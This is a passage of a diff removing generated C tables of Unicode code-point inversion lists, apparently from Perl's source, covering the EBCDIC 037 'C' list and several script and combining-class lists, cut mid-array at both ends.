0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA0, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D173, - 0x1D17B, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_C_invlist[] = { /* for EBCDIC 037 */ - 1305, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x40, - 0xCA, - 0xCB, - 0xFF, - 0x100, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x606, - 0x61C, - 0x61E, - 0x6DD, - 0x6DE, - 0x70E, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF98, - 0xF99, - 0xFBD, - 0xFBE, - 0xFCD, - 0xFCE, - 0xFDB, - 0x1000, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x137D, - 0x1380, - 0x139A, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1400, - 0x169D, - 0x16A0, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1715, - 0x1720, - 0x1737, - 0x1740, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17DE, - 0x17E0, - 0x17EA, - 0x17F0, - 0x17FA, - 0x1800, - 0x180E, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1940, - 0x1941, - 0x1944, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DB, - 0x19DE, - 0x1A1C, - 0x1A1E, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA0, - 0x1AAE, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B4C, - 0x1B50, - 0x1B7D, - 0x1B80, - 0x1BF4, - 0x1BFC, - 0x1C38, - 0x1C3B, - 0x1C4A, - 0x1C4D, - 0x1C89, - 0x1CC0, - 0x1CC8, - 0x1CD0, - 0x1CFA, - 0x1D00, - 0x1DFA, - 0x1DFB, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F7E, - 0x1F80, - 0x1FB5, - 0x1FB6, - 0x1FC5, - 0x1FC6, - 0x1FD4, - 0x1FD6, - 0x1FDC, - 0x1FDD, - 0x1FF0, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FFF, - 0x2000, - 0x200B, - 0x2010, - 0x202A, - 0x202F, - 0x2060, - 0x2070, - 0x2072, - 0x2074, - 0x208F, - 0x2090, - 0x209D, - 0x20A0, - 0x20C0, - 0x20D0, - 0x20F1, - 0x2100, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2CF4, - 0x2CF9, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D71, - 0x2D7F, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E4A, - 0x2E80, - 0x2E9A, - 0x2E9B, - 0x2EF4, - 0x2F00, - 0x2FD6, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3040, - 0x3041, - 0x3097, - 0x3099, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x3190, - 0x31BB, - 0x31C0, - 0x31E4, - 0x31F0, - 0x321F, - 0x3220, - 0x32FF, - 0x3300, - 0x4DB6, - 0x4DC0, - 0x9FEB, - 0xA000, - 0xA48D, - 0xA490, - 0xA4C7, - 0xA4D0, - 0xA62C, - 0xA640, - 0xA6F8, - 0xA700, - 0xA7AF, - 0xA7B0, - 0xA7B8, - 0xA7F7, - 0xA82C, - 0xA830, - 0xA83A, - 0xA840, - 0xA878, - 0xA880, - 0xA8C6, - 0xA8CE, - 0xA8DA, - 0xA8E0, - 0xA8FE, - 0xA900, - 0xA954, - 0xA95F, - 0xA97D, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9FF, - 0xAA00, - 0xAA37, - 0xAA40, - 0xAA4E, - 0xAA50, - 0xAA5A, - 0xAA5C, - 0xAAC3, - 0xAADB, - 0xAAF7, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xAB30, - 0xAB66, - 0xAB70, - 0xABEE, - 0xABF0, - 0xABFA, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFB1D, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBC2, - 0xFBD3, - 0xFD40, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFE, - 0xFE00, - 0xFE1A, - 0xFE20, - 0xFE53, - 0xFE54, - 0xFE67, - 0xFE68, - 0xFE6C, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF01, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0xFFE0, - 0xFFE7, - 0xFFE8, - 0xFFEF, - 0xFFFC, - 0xFFFE, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10100, - 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, - 0x101FE, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x102E0, - 0x102FC, - 0x10300, - 0x10324, - 0x1032D, - 0x1034B, - 0x10350, - 0x1037B, - 0x10380, - 0x1039E, - 0x1039F, - 0x103C4, - 0x103C8, - 0x103D6, - 0x10400, - 0x1049E, - 0x104A0, - 0x104AA, - 0x104B0, - 0x104D4, - 0x104D8, - 0x104FC, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x1056F, - 0x10570, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10857, - 0x1089F, - 0x108A7, - 0x108B0, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x108FB, - 0x1091C, - 0x1091F, - 0x1093A, - 0x1093F, - 0x10940, - 0x10980, - 0x109B8, - 0x109BC, - 0x109D0, - 0x109D2, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A38, - 0x10A3B, - 0x10A3F, - 0x10A48, - 0x10A50, - 0x10A59, - 0x10A60, - 0x10AA0, - 0x10AC0, - 0x10AE7, - 0x10AEB, - 0x10AF7, - 0x10B00, - 0x10B36, - 0x10B39, - 0x10B56, - 0x10B58, - 0x10B73, - 0x10B78, - 0x10B92, - 0x10B99, - 0x10B9D, - 0x10BA9, - 0x10BB0, - 0x10C00, - 0x10C49, - 0x10C80, - 0x10CB3, - 0x10CC0, - 0x10CF3, - 0x10CFA, - 0x10D00, - 0x10E60, - 0x10E7F, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x110BD, - 0x110BE, - 0x110C2, - 0x110D0, - 0x110E9, - 0x110F0, - 0x110FA, - 0x11100, - 0x11135, - 0x11136, - 0x11144, - 0x11150, - 0x11177, - 0x11180, - 0x111CE, - 0x111D0, - 0x111E0, - 0x111E1, - 0x111F5, - 0x11200, - 0x11212, - 0x11213, - 0x1123F, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112AA, - 0x112B0, - 0x112EB, - 0x112F0, - 0x112FA, - 0x11300, - 0x11304, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133C, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11350, - 0x11351, - 0x11357, - 0x11358, - 0x1135D, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11400, - 0x1145A, - 0x1145B, - 0x1145C, - 0x1145D, - 0x1145E, - 0x11480, - 0x114C8, - 0x114D0, - 0x114DA, - 0x11580, - 0x115B6, - 0x115B8, - 0x115DE, - 0x11600, - 0x11645, - 0x11650, - 0x1165A, - 0x11660, - 0x1166D, - 0x11680, - 0x116B8, - 0x116C0, - 0x116CA, - 0x11700, - 0x1171A, - 0x1171D, - 0x1172C, - 0x11730, - 0x11740, - 0x118A0, - 0x118F3, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A48, - 0x11A50, - 0x11A84, - 0x11A86, - 0x11A9D, - 0x11A9E, - 0x11AA3, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C37, - 0x11C38, - 0x11C46, - 0x11C50, - 0x11C6D, - 0x11C70, - 0x11C90, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D48, - 0x11D50, - 0x11D5A, - 0x12000, - 0x1239A, - 0x12400, - 0x1246F, - 0x12470, - 0x12475, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16A60, - 0x16A6A, - 0x16A6E, - 0x16A70, - 0x16AD0, - 0x16AEE, - 0x16AF0, - 0x16AF6, - 0x16B00, - 0x16B46, - 0x16B50, - 0x16B5A, - 0x16B5B, - 0x16B62, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F7F, - 0x16F8F, - 0x16FA0, - 0x16FE0, - 0x16FE2, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1BC9C, - 0x1BCA0, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D173, - 0x1D17B, - 0x1D1E9, - 0x1D200, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, - 0x1D7CE, - 0x1DA8C, - 0x1DA9B, - 0x1DAA0, - 0x1DAA1, - 0x1DAB0, - 0x1E000, - 0x1E007, - 0x1E008, - 0x1E019, - 0x1E01B, - 0x1E022, - 0x1E023, - 0x1E025, - 0x1E026, - 0x1E02B, - 0x1E800, - 0x1E8C5, - 0x1E8C7, - 0x1E8D7, - 0x1E900, - 0x1E94B, - 0x1E950, - 0x1E95A, - 0x1E95E, - 0x1E960, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x1EEF0, - 0x1EEF2, - 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, - 0x1F100, - 0x1F10D, - 0x1F110, - 0x1F12F, - 0x1F130, - 0x1F16C, - 0x1F170, - 0x1F1AD, - 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, - 0x1F700, - 0x1F774, - 0x1F780, - 0x1F7D5, - 0x1F800, - 0x1F80C, - 0x1F810, - 0x1F848, - 0x1F850, - 0x1F85A, - 0x1F860, - 0x1F888, - 0x1F890, - 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, - 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E, - 0xE0100, - 0xE01F0 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_CAKM_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9E6, - 0x9F0, - 0x1040, - 0x104A, - 0x11100, - 0x11135, - 0x11136, - 0x11144 -}; - -static const UV PL_CANS_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1400, - 0x1680, - 0x18B0, - 0x18F6 -}; - -static const UV PL_CARI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x102A0, - 0x102D1 -}; - -static const UV PL_CCC__0_invlist[] = { /* for all charsets */ - 337, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x300, 